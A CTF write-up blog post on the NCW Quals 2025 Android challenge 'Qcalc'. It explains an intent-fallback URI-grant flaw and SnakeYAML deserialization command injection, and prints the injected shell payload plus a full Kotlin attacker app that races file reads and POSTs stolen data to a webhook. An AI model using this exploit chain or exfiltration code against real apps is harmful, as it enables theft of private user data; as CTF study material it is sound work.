hanzo's blog

newb ctf player | rev & pwn enthusiast

24 November 2025

NCW Quals 2025

by hanzo

Hello there! This is my writeup for the qualification round of National Cyber Week (NCW) 2025 event. There’s one category that caught my attention, which is the mobile category. It was super interesting because it combined multiple Android exploitation techniques.

NCW 2025

Qcalc

The qcalc application exposes a deep link handler at qiangcalc://calculate?expression=... and implements a fallback mechanism through BridgeActivity. It stores calculation history in a history.yml file that gets deserialized as YAML using the PingUtil class. This opens two critical vulnerabilities: we can force the app to grant access to history.yml via the fallback mechanism, and we can achieve local RCE through YAML gadgets (!!com.qinquang.calc.PingUtil).

Vulnerabilities

1) Unvalidated Intent Fallback

The BridgeActivity accepts a fallback intent extra and automatically launches it when certain conditions are met (like a calculation error). The app doesn’t properly validate where this fallback intent points, allowing an attacker to register their own activity as the fallback target.

Let’s look at how MainActivity processes deep links and stores fallback intents:

private void processDeeplinkExpression(String expression) throws URISyntaxException {
    this.input = "";
    this.operator = "";
    this.firstNum = 0.0d;
    if (expression.contains("intent:")) {
        try {
            Intent errorFallbackIntent = Intent.parseUri(expression, 1);
            getIntent().putExtra("fallback", errorFallbackIntent);
            String signature = calculateSignature(expression);
            getIntent().putExtra("calc_signature", signature);
            Log.d("QiangCalc", "Intent stored as fallback");
            this.tvInput.setText("Intent stored");
            return;
        } catch (Exception e) {
            Log.e("QiangCalc", "Invalid intent expression: " + e.getMessage());
            this.tvInput.setText("Invalid expression");
            return;
        }
    }
    // ... calculation logic for division, multiplication, etc.
}

The app blindly stores any intent URI we send via the deep link as a fallback without validation. When a division-by-zero error occurs in onEqual(), the app crashes and the error handler in BridgeActivity launches this stored fallback intent.

Here’s the critical part of BridgeActivity that grants URI access:

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    Log.d(TAG, "BridgeActivity started");
    try {
        Intent origIntent = (Intent) getIntent().getParcelableExtra("origIntent");
        if (origIntent == null) {
            Log.e(TAG, "No original intent found");
            finish();
            return;
        }
        
        if (!checkIntentFlags(origIntent)) {
            Log.e(TAG, "Intent missing required flags");
            finish();
            return;
        }
        
        ContentValues values = (ContentValues) origIntent.getParcelableExtra("bridge_values");
        if (values != null && processContentValues(values)) {
            String token = origIntent.getStringExtra("bridge_token");
            if (!validateToken(token)) {
                Log.e(TAG, "Invalid token");
                finish();
                return;
            }
            
            // Grant access to history.yml!
            File historyFile = new File(getFilesDir(), HistoryManager.HISTORY_FILE_NAME);
            Uri historyUri = Uri.parse("content://com.qinquang.calc/" + historyFile.getName());
            origIntent.setData(historyUri);
            origIntent.addFlags(3);  // FLAG_GRANT_READ_URI_PERMISSION | FLAG_GRANT_WRITE_URI_PERMISSION
            startActivity(origIntent);
            return;
        }
    } finally {
        finish();
    }
}

The BridgeActivity validates a token and checks some flags, but ultimately launches our attacker intent with full read/write permissions to content://com.qinquang.calc/history.yml.

2) YAML Deserialization with Command Injection

The app uses SnakeYAML to deserialize the history file. Here’s the vulnerable loadHistory() method in HistoryManager:

public List<String> loadHistory() throws IOException {
    Yaml yaml = new Yaml();
    try {
        FileInputStream fis = this.context.openFileInput(HISTORY_FILE_NAME);
        try {
            InputStreamReader reader = new InputStreamReader(fis);
            try {
                Object result = yaml.load(reader);  // Unsafe deserialization!
                
                if (result instanceof Intent) {
                    Intent intent = (Intent) result;
                    intent.addFlags(268435456);  // FLAG_ACTIVITY_NEW_TASK
                    this.context.startActivity(intent);
                    return new ArrayList();
                }
                
                if (result instanceof List) {
                    List<String> list = (List) result;
                    for (Object item : list) {
                        if (item instanceof Intent) {
                            Intent intent2 = (Intent) item;
                            intent2.addFlags(268435456);
                            this.context.startActivity(intent2);
                        }
                    }
                    return list;
                }
                // ...
            } finally {
                reader.close();
            }
        } finally {
            fis.close();
        }
    } catch (Exception e) {
        e.printStackTrace();
        return new ArrayList();
    }
}

The yaml.load() call without a safe constructor allows arbitrary object instantiation. Combined with the PingUtil class, this becomes a command injection vector:

public final class PingUtil {
    private static final String TAG = "PingUtil";

    public PingUtil(String address) throws InterruptedException, IOException {
        try {
            Log.d(TAG, "PingUtil constructor called with: " + address);
            String pingCmd = "ping -c 1 " + address;  // No sanitization!
            Process process = Runtime.getRuntime().exec(new String[]{
                "/system/bin/sh", "-c", pingCmd
            });
            Log.d(TAG, "Command executed: " + pingCmd);
            process.waitFor();
        } catch (Exception e) {
            Log.e(TAG, "Error executing ping command", e);
        }
    }
}

By crafting a YAML payload with !!com.qinquang.calc.PingUtil, we can inject arbitrary shell commands after a semicolon:

- !!com.qinquang.calc.PingUtil |
  127.0.0.1; cat /data/data/com.qinquang.calc/flag* > /data/data/com.qinquang.calc/files/history.yml

This exploits shell command parsing to execute cat after the ping command, leading to RCE within the victim app’s sandbox.

Exploitation Strategy

Goal

Steps

  1. Stage 1 - Fallback Registration:
    • Create a fallback intent that points back to our attacker activity.
    • Encode this fallback intent as a URI string and send it via the deep link qiangcalc://calculate?expression=<encoded_fallback>.
    • The victim app stores this expression in its history.
  2. Stage 1 - Trigger Fallback:
    • After a short delay (~1.8s), send another deep link with expression=1%2F0 to cause a division-by-zero crash.
    • Include the fallback intent in the extras.
    • When the crash occurs, BridgeActivity invokes our fallback intent and grants us a content:// URI to history.yml.
  3. Stage 2 - YAML Injection:
    • Our activity receives the content:// URI callback.
    • Immediately overwrite history.yml with a malicious YAML payload: ```yaml
      • !!com.qinquang.calc.PingUtil | 127.0.0.1; cat /data/data/com.qinquang.calc/flag* > …/history.yml ```
    • This payload injects a shell command that dumps all flag* files into history.yml.
  4. Stage 2 - Trigger Deserialization:
    • Send a benign calculation like 2+2 to force the app to reload and deserialize history.yml.
    • The YAML parser instantiates PingUtil, executing our injected command.
  5. Stage 2 - Race Read:
    • Hammer the content:// URI with multiple read requests at staggered intervals (200ms, 300ms, …, 1600ms).
    • One of these reads will catch history.yml after the cat command writes the flag but before the app overwrites it with new history entries.
    • Extract the flag using a regex pattern (NCW{...}).
  6. Exfiltration:
    • POST the extracted flag to an attacker-controlled webhook for retrieval.

Detailed Walkthrough

The exploit runs in two distinct stages orchestrated through Android intents.

Stage 1 begins by computing a bridge_token (SHA-256 hash of the victim package name, truncated to 16 hex chars) to satisfy any token checks in BridgeActivity. We then construct a fallback intent that targets our own MainActivity and encode it as an intent URI string. This encoded fallback is sent to the victim via qiangcalc://calculate?expression=<fallback_uri>, which stores it in the app’s history.

After a delay of ~1.8 seconds, we send a second deep link with expression=1%2F0. The victim app attempts to evaluate this, triggers a division-by-zero exception, and the BridgeActivity error handler launches the fallback intent we stored earlier. Crucially, this fallback intent includes a content:// URI grant that points to history.yml, giving our app read/write access to the victim’s private file.

Stage 2 starts when our MainActivity is relaunched with the granted content:// URI. We immediately use contentResolver.openOutputStream() to overwrite history.yml with our crafted YAML payload. The payload exploits the PingUtil YAML tag to inject a shell command:

127.0.0.1; cat /data/data/com.qinquang.calc/flag* /data/data/com.qinquang.calc/files/flag* > .../history.yml

This command exfiltrates any file matching flag* from both the app’s root data directory and its files/ subdirectory, writing the output back into history.yml.

To trigger deserialization, we send a harmless calculation request (2+2) which forces the app to reload history.yml. The YAML parser encounters our !!com.qinquang.calc.PingUtil tag, instantiates the class with our injected string, and executes the shell command.

Because the app may quickly overwrite history.yml again with new legitimate entries, we perform a race-condition attack by scheduling multiple reads of the content:// URI at intervals ranging from 200ms to 1600ms. One of these reads will catch the window where history.yml contains the dumped flag. We parse each read result with a simple regex to extract anything matching NCW{...}, then immediately POST it to our webhook.

This two-stage attack chains an intent validation bypass with a classic deserialization RCE, all without requiring any dangerous Android permissions. The entire exploit runs within the sandbox of a normal unprivileged app.

Exploit

Below is the complete attacker APK implementation. It should be compiled as a standalone Android app and installed on the target device alongside the vulnerable qcalc app.

package com.attacker.qcalc

import android.app.Activity
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.util.Log
import java.io.BufferedReader
import java.io.InputStream
import java.io.InputStreamReader
import java.io.OutputStream
import java.net.HttpURLConnection
import java.net.URL
import java.net.URLEncoder
import java.nio.charset.StandardCharsets
import java.security.MessageDigest

class MainActivity : Activity() {

    companion object {
        private const val TAG = "ExploitQcalc"
        private const val VICTIM_PKG = "com.qinquang.calc"
        private const val EXFIL_URL = "https://webhook.site/YOUR-WEBHOOK-ID"
    }

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val inIntent = intent
        val dataUri = inIntent?.data
        Log.i(TAG, "onCreate dataUri=$dataUri")

        if (dataUri == null) {
            firstStage()
        } else {
            secondStage(dataUri)
        }
    }

    private fun firstStage() {
        try {
            val token = computeBridgeToken(VICTIM_PKG)
            Log.i(TAG, "bridge_token = $token")

            val fallback = Intent(Intent.ACTION_VIEW).apply {
                setClassName(packageName, MainActivity::class.java.name)
                putExtra("bridge_token", token)
            }

            val intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME)
            val expr = Uri.encode(intentUri)

            val deeplink = Intent(
                Intent.ACTION_VIEW,
                Uri.parse("qiangcalc://calculate?expression=$expr")
            ).apply {
                `package` = VICTIM_PKG
            }
            Log.i(TAG, "STEP1 storing fallback: $deeplink")
            startActivity(deeplink)

            val trigger = Intent(
                Intent.ACTION_VIEW,
                Uri.parse("qiangcalc://calculate?expression=1%2F0")
            ).apply {
                `package` = VICTIM_PKG
                putExtra("fallback", fallback)
                addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
                addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
            }
            val delayMs = 1800L
            Log.i(TAG, "STEP2 will trigger 1/0 after ${delayMs}ms")
            Handler(Looper.getMainLooper()).postDelayed(
                { startActivity(trigger) },
                delayMs
            )
        } catch (e: Exception) {
            Log.e(TAG, "firstStage error", e)
        } finally {
            finish()
        }
    }

    private fun secondStage(dataUri: Uri) {
        Log.i(TAG, "secondStage with dataUri=$dataUri")
        val uriStr = dataUri.toString()
        if (!uriStr.endsWith("/history.yml")) {
            Log.w(TAG, "Not history.yml, uri=$uriStr")
            return
        }

        try {
            val yaml = buildEvilYaml()
            Log.i(TAG, "STEP4 YAML:\n$yaml")
            contentResolver.openOutputStream(dataUri, "w").use { os ->
                requireNotNull(os) { "openOutputStream returned null" }
                val bytes = yaml.toByteArray(StandardCharsets.UTF_8)
                os.write(bytes)
                os.flush()
                Log.i(TAG, "STEP4 wrote ${bytes.size} bytes")
            }

            val runIntent = Intent(
                Intent.ACTION_VIEW,
                Uri.parse("qiangcalc://calculate?expression=2%2B2")
            ).apply {
                `package` = VICTIM_PKG
            }
            Handler(Looper.getMainLooper()).postDelayed(
                {
                    try {
                        Log.i(TAG, "STEP4.5 trigger 2+2")
                        startActivity(runIntent)
                    } catch (e: Exception) {
                        Log.e(TAG, "failed to start runIntent", e)
                    }
                },
                100L
            )

            val grantedUri = dataUri
            val readDelays = longArrayOf(
                200L, 300L, 400L, 500L, 600L, 700L,
                800L, 900L, 1000L, 1100L, 1200L, 1400L, 1600L
            )

            for (d in readDelays) {
                Handler(Looper.getMainLooper()).postDelayed({
                    Thread {
                        try {
                            val content = readAll(grantedUri)
                            Log.i(TAG, "READ @${d}ms: $content")

                            val maybeFlag = extractFlag(content)
                            if (maybeFlag != null) {
                                Log.i(TAG, "FLAG HIT @${d}ms: $maybeFlag")
                                sendFlag(maybeFlag)
                            } else {
                                sendFlag("t=${d}ms::$content")
                            }
                        } catch (e: Exception) {
                            Log.e(TAG, "read error @${d}ms", e)
                        }
                    }.start()
                }, d)
            }
        } catch (e: Exception) {
            Log.e(TAG, "secondStage error", e)
        }
    }

    private fun computeBridgeToken(pkg: String): String {
        val md = MessageDigest.getInstance("SHA-256")
        val digest = md.digest(pkg.toByteArray(StandardCharsets.UTF_8))
        val sb = StringBuilder()
        for (i in 0 until 8) {
            sb.append(String.format("%02x", digest[i]))
        }
        return sb.toString()
    }

    private fun buildEvilYaml(): String {
        val srcAll = "/data/data/com.qinquang.calc/flag* /data/data/com.qinquang.calc/files/flag*"
        return "- !!com.qinquang.calc.PingUtil |\n" +
                "  127.0.0.1; /system/bin/cat $srcAll > /data/data/com.qinquang.calc/files/history.yml; " +
                "/system/bin/cat $srcAll > /data/data/com.qinquang.calc/files/flag.txt\n"
    }

    private fun readAll(uri: Uri): String {
        val sb = StringBuilder()
        val input: InputStream? = contentResolver.openInputStream(uri)
        if (input == null) {
            Log.e(TAG, "openInputStream($uri) = null")
            return ""
        }
        input.use { ins ->
            InputStreamReader(ins, StandardCharsets.UTF_8).use { ir ->
                BufferedReader(ir).use { br ->
                    var line: String?
                    while (true) {
                        line = br.readLine()
                        if (line == null) break
                        sb.append(line)
                    }
                }
            }
        }
        return sb.toString()
    }

    private fun extractFlag(s: String): String? {
        val idx = s.indexOf("NCW{")
        if (idx == -1) return null
        val end = s.indexOfAny(charArrayOf(' ', '\n', '\r', '\t'), idx).let { e ->
            if (e == -1) s.length else e
        }
        return s.substring(idx, end)
    }

    private fun sendFlag(flag: String) {
        Log.i(TAG, "sendFlag: $flag")
        Thread {
            var conn: HttpURLConnection? = null
            try {
                val url = URL(EXFIL_URL)
                conn = url.openConnection() as HttpURLConnection
                conn.requestMethod = "POST"
                conn.doOutput = true
                conn.connectTimeout = 5000
                conn.readTimeout = 5000

                val body = "flag=" + URLEncoder.encode(flag, "UTF-8")
                conn.setRequestProperty(
                    "Content-Type",
                    "application/x-www-form-urlencoded; charset=UTF-8"
                )

                conn.outputStream.use { os: OutputStream ->
                    os.write(body.toByteArray(StandardCharsets.UTF_8))
                    os.flush()
                }

                val code = conn.responseCode
                Log.i(TAG, "sendFlag HTTP $code")
                try {
                    conn.inputStream?.use { /* ignore */ }
                } catch (_: Exception) {
                }
            } catch (e: Exception) {
                Log.e(TAG, "sendFlag failed", e)
            } finally {
                conn?.disconnect()
            }
        }.start()
    }
}

After uploading the exploit app, we can see the flag in the webhook listener

Qcalc 1

Qcalc 2




tags: mobile - android